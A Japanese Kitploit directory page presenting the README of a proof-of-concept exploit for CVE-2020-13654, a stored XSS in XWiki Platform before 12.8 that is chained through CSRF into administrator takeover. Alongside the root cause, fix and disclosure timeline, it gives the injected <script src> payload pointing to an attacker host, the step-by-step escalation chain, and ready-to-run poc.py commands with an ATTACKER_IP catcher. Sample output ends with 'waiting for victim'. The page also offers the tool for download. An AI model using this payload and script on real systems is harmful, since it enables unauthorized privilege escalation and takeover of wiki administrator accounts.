Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-13654 — CVE-2020-13654 - XWiki Platform < 12.8 - 保存型XSS → CSRF → アカウント乗っ取り | Kitploit
ツール/GitHubGitHub/astaruf/cve-2020-13654
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubastaruf/cve-2020-13654

CVE-2020-13654

CVE-2020-13654 - XWiki Platform < 12.8 - 保存型XSS → CSRF → アカウント乗っ取り

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2020-13654 - XWiki Platform < 12.8 - 格納型XSS → CSRF → 権限昇格

発見・報告者: Astaruf
詳細記事: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


脆弱性

XWiki Platform のバージョン 12.8 より前では、プロファイルエディタにおいてユーザー制御のフィールドにHTMLエンコードが適用されません。調査で確認された影響を受けるフィールドは "Company" ( 編集 → 個人情報 内) ですが、他のプロファイルフィールドも同じコードパスを共有しています。

プロファイルページがレンダリングされると、保存されたフィールド値は $escapetool.xml() や同等のエスケープ処理を呼び出さずにそのままHTMLに出力されます。新しく自己登録したアカウントを含む任意の認証済みアカウントを持つ攻撃者は、任意のHTML/JavaScriptを保存でき、管理者を含むプロファイルを訪問するすべてのユーザーのブラウザで永続的に実行されます。

影響を受けるVelocityテンプレートにおける根本原因:

root@kitploit:~
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")

## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
フィールド値
製品XWiki Platform
影響を受けるバージョン< 12.8
修正バージョン12.8
CVSSv3スコア7.5 (High)
CWE

攻撃シナリオ

このPoCはゼロクリック権限昇格チェーンを示します。

root@kitploit:~
Low-privilege attacker account
        │
        ├─ stores <script src="http://attacker/payload.js"> in Company field
        ▼
  XWiki profile page (poisoned)
        │
        ├─ admin navigates to the page (e.g. via user list or support ticket)
        ▼
  Payload executes in admin browser session
        │
        ├─ fetches /bin/view/XWiki/XWikiAdminGroup  →  extracts CSRF token
        ├─ POSTs form_token + xpage=adduorg + name=attacker  →  adds attacker to XWikiAdminGroup
        │
        ▼
  Attacker now has full admin access

管理者の操作は、1回のページ訪問以外は必要ありません。


PoC

poc.py は自己完結型のエクスプロイトスクリプトです。これは次のことを行います:

  1. オプションで、XWikiのオープン登録エンドポイントを介して新しい低権限アカウントを自己登録します。
  2. 攻撃者アカウントを認証し、CompanyプロファイルフィールドにXSSペイロードを注入します(他の既存フィールド値は保持します)。
  3. レンダリングされたページソースにペイロードが存在することを確認します。
  4. 組み込みJavaScriptペイロード (/payload.js) を提供し、着信ビーコンを記録する統合HTTPサーバーを起動します。
  5. 管理者が汚染されたプロファイルURLにアクセスするのを待ちます。

管理者がURLにアクセスすると、保存された <script src="..."> タグが攻撃者のサーバーから payload.js を読み込みます。ペイロードは管理者の認証済みブラウザコンテキストで実行され、攻撃者のアカウントを XWikiAdminGroup に静かに追加し、結果をビーコンで送り返します。

使用方法

root@kitploit:~
pip install -r requirements.txt

自己登録の場合(既存アカウント不要):

root@kitploit:~
python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

既存の低権限アカウントの場合:

root@kitploit:~
python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

引数

期待される出力

root@kitploit:~
[*] Registering account 'hacker' ...
✅  Registration successful.
[*] Authenticating as 'hacker' ...
✅  Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅  Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅  Payload confirmed in page source.

════════════════════════════════════════════════════════════
  EXPLOIT ARMED — WAITING FOR VICTIM

  Share this URL with (or wait for) an administrator to visit:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  When triggered, the attacker account 'hacker'
  will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

修正方法

XWiki Platform ≥ 12.8 にアップグレードしてください。

修正では、レンダリング前にすべてのユーザー制御プロファイルフィールドに $escapetool.xml() を適用し、生のHTML/JavaScriptの注入を防ぎます。

即時アップグレードが不可能な場合は、XWikiのアクセス権管理を通じて自己登録を制限し、プロファイルの可視性を信頼できるユーザーに限定してください。


タイムライン

日付イベント
2020年5月

参考文献

  • https://nvd.nist.gov/vuln/detail/CVE-2020-13654
  • https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
  • https://github.com/xwiki/xwiki-platform
  • https://cwe.mitre.org/data/definitions/116.html

免責事項

このリポジトリは教育および許可されたセキュリティ研究目的のみで提供されています。
所有していない、または明示的な書面によるテスト許可がないシステムに対しては使用しないでください。
著者は悪用に対する一切の責任を負いません。

ツールをダウンロード
CWE-116 — 出力の不適切なエンコードまたはエスケープ
引数必須説明
--target✅XWikiベースURL
--catcher✅攻撃者が制御するURL(payload.jsの提供とビーコン収集に使用)
--username✅攻撃者アカウントのユーザー名
--password✅攻撃者アカウントのパスワード
--register✗エクスプロイト前にアカウントを自動登録
--first-name--register の場合登録時の名
--last-name--register の場合登録時の姓
--email--register の場合登録時のメールアドレス
脆弱性を発見
2020年5月XWikiセキュリティチームに報告
2020年7月XWiki Platform 12.8で修正
2020年11月MITREによりCVE-2020-13654割り当て
2020年12月30日公開開示 — nstsec.com